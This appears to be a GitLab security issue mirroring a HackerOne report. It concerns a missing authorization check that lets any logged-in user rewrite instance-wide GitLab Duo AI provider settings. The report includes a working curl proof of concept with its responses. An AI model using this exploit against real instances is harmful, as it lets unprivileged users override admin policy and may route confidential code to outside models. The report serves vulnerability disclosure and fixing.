Authenticated user can rewrite instance-wide AI feature providers via AiFeatureSettingUpdate (GitLab 18.5.0-ee)

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #3400940 by pwnie on 2025-10-27, assigned to GitLab Team:

Report | How To Reproduce

Report

Summary

  • Any authenticated user can call the AiFeatureSettingUpdate GraphQL mutation to rewrite instance-wide AI feature providers, because the mutation in ee/app/graphql/mutations/ai/feature_settings/update.rb:16 never calls authorize, so it only falls back to execute_graphql_mutation, which GlobalPolicy grants to every logged-in account (app/policies/global_policy.rb:42).
  • On GitLab 18.5.0-ee I reproduced the issue end-to-end: a freshly created non-admin user with an api-scope PAT was able to flip the duo_chat feature from unassigned to both disabled and vendored, demonstrating full control over organisation-wide AI settings that should be restricted to administrators.

Steps to reproduce

  1. Prepare the instance
    a. Deploy GitLab EE 18.5.0 and sign in as root using the initial password (docker exec gitlab cat /etc/gitlab/initial_root_password).
    b. From the web UI (Profile ▸ Access Tokens) create a root PAT with the api scope and note it as <ROOT_PAT>.

  2. Create a low-privilege account and PAT
    a. Use the root PAT to create a standard user:
    curl --request POST --header "PRIVATE-TOKEN: <ROOT_PAT>" --data "email=attacker@example.com&username=attacker&name=Attacker User&password=Password123!&skip_confirmation=true" https://<gitlab-host>/api/v4/users
    b. Issue that user an api PAT:
    curl --request POST --header "PRIVATE-TOKEN: <ROOT_PAT>" --data "name=attacker-api-token" --data "scopes[]=api" https://<gitlab-host>/api/v4/users/<attacker_id>/personal_access_tokens
    Record the returned token as <ATTACKER_PAT>.

  3. Capture the baseline AI feature settings as an administrator
    curl --header "Authorization: Bearer <ROOT_PAT>" --header "Content-Type: application/json" --data '{"query":"query { aiFeatureSettings { nodes { feature provider } } }"}' https://<gitlab-host>/api/graphql
    The response shows every feature, including duo_chat, at provider":"unassigned" (see /root/baseline_ai_feature_settings.json from the run).

  4. Exploit the vulnerability with the low-privilege token
    Send the GraphQL mutation using only <ATTACKER_PAT>:

    curl --header "Authorization: Bearer <ATTACKER_PAT>" \  
         --header "Content-Type: application/json" \  
         --data '{  
           "query": "mutation ($features: [AiFeatures!]!, $provider: AiFeatureProviders!) { aiFeatureSettingUpdate(input: {features: $features, provider: $provider}) { errors aiFeatureSettings { feature provider } } }",  
           "variables": { "features": ["DUO_CHAT"], "provider": "DISABLED" }  
         }' \  
         https://<gitlab-host>/api/graphql  

    Response: {"data":{"aiFeatureSettingUpdate":{"errors":[],"aiFeatureSettings":[{"feature":"duo_chat","provider":"disabled"}]}}} (/root/attacker_disable_response.json).

  5. Verify the global state changed
    Re-run the admin query from step 3 and observe duo_chat now reports provider":"disabled" for every user (/root/post_disable_ai_feature_settings.json).
    Optional: repeat step 4 with "provider":"VENDORED" to prove an attacker can also force GitLab’s vendored AI backend (/root/attacker_vendored_response.json, /root/post_vendored_ai_feature_settings.json).

  6. (Cleanup) Restore the original configuration with an admin mutation using "provider":"UNASSIGNED" if desired.

Impact

  • A regular project member can reconfigure instance-wide GitLab Duo behaviour: disabling features, forcing vendored AI, or (with a valid model id) pointing traffic to a malicious self-hosted model. That undermines administrative policy, risks leaking confidential code to third parties, and lets unprivileged users change AI-assisted workflows for every project.
  • CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N
    S changes because a low-privilege account impacts global configuration.
    C is Low: forcing vendored/self-hosted models can redirect sensitive prompts to external services.
    I is High: the attacker can arbitrarily rewrite protected AI control-plane settings.

Impact

  • A regular project member can reconfigure instance-wide GitLab Duo behaviour: disabling features, forcing vendored AI, or (with a valid model id) pointing traffic to a malicious self-hosted model. That undermines administrative policy, risks leaking confidential code to third parties, and lets unprivileged users change AI-assisted workflows for every project.
  • CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N
    S changes because a low-privilege account impacts global configuration.
    C is Low: forcing vendored/self-hosted models can redirect sensitive prompts to external services.
    I is High: the attacker can arbitrarily rewrite protected AI control-plane settings.

How To Reproduce

Please add reproducibility information to this section: